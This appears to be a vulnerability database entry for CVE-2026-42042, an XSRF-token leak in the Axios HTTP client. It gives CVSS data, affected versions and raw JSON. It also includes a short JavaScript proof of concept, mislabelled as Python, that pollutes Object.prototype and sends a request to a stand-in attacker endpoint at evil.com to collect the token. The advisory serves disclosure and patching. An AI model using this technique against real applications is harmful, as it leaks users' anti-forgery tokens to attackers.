Security Vulnerability Report
中文
CVE-2026-42042 CVSS 5.4 MEDIUM

CVE-2026-42042

Published: 2026-04-24 18:16:31
Last Modified: 2026-04-27 20:05:28

Description

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, the Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker. This vulnerability is fixed in 1.15.1 and 0.31.1.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:* - VULNERABLE
Axios < 1.15.1
Axios < 0.31.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Conceptual Proof of Concept for CVE-2026-42042 // This demonstrates how prototype pollution can trigger the leak. // 1. Simulate Prototype Pollution // An attacker might pollute the prototype chain via another vulnerability. Object.prototype.withXSRFToken = "polluted_truthy_value"; const axios = require('axios'); // 2. Configure Axios normally (or rely on defaults) // The vulnerable version checks `if (config.withXSRFToken)` which is true for the string above. // 3. Attacker's controlled endpoint to receive the token const attackerUrl = 'https://evil.com/collect'; // 4. Victim makes a request (could be triggered by a crafted link) // Due to the bug, the XSRF token cookie will be sent to the cross-origin 'evil.com' axios.get(attackerUrl).then(response => { console.log('Request completed'); }).catch(error => { console.error(error); });

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42042", "sourceIdentifier": "[email protected]", "published": "2026-04-24T18:16:31.293", "lastModified": "2026-04-27T20:05:27.500", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, the Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker. This vulnerability is fixed in 1.15.1 and 0.31.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-183"}, {"lang": "en", "value": "CWE-201"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "0.31.1", "matchCriteriaId": "7D2B28C9-026E-4CD6-BD17-7EDD42108106"}, {"vulnerable": true, "criteria": "cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.15.1", "matchCriteriaId": "3EC1EF30-EBB8-410B-90FB-1F18A3545C2E"}]}]}], "references": [{"url": "https://github.com/axios/axios/security/advisories/GHSA-xx6v-rp6x-q39c", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/axios/axios/security/advisories/GHSA-xx6v-rp6x-q39c", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}